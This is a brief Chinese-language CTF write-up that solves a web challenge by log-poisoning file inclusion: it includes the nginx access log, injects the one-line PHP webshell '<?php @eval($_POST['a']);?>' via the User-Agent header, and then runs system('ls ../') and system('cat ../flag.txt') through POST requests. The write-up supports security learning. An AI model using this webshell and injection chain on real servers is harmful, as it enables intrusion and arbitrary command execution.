点开题目链接
这道题跟前面的web3不太一样
这题类型为日志注入的文件包含
F12,点击网络
可以得知是nginx日志
我们试试nginx的日志默认路径
?url=/var/log/nginx/access.log
然后我们用burpsuite抓包,上传一句话木马
payload
<?php @eval($_POST['a']);?>
塞入User-Agent替换掉之前的
发现上传成功
接着用蚁剑连接
测试成功
按理来说是有的
结果发现没有哈哈哈哈哈哈
估计题目出问题了
我们还可以用另外一个方法
用火狐的HackBar插件
因为我们的一句话木马已经成功传进去
我们直接POST请求去执行命令
发现只有index.php
我们再试试查找上级目录
a=system('ls ../');
发现flag
最后用cat命令
payload
a=system('cat ../flag.txt');
注:要选对目录位置再去查找flag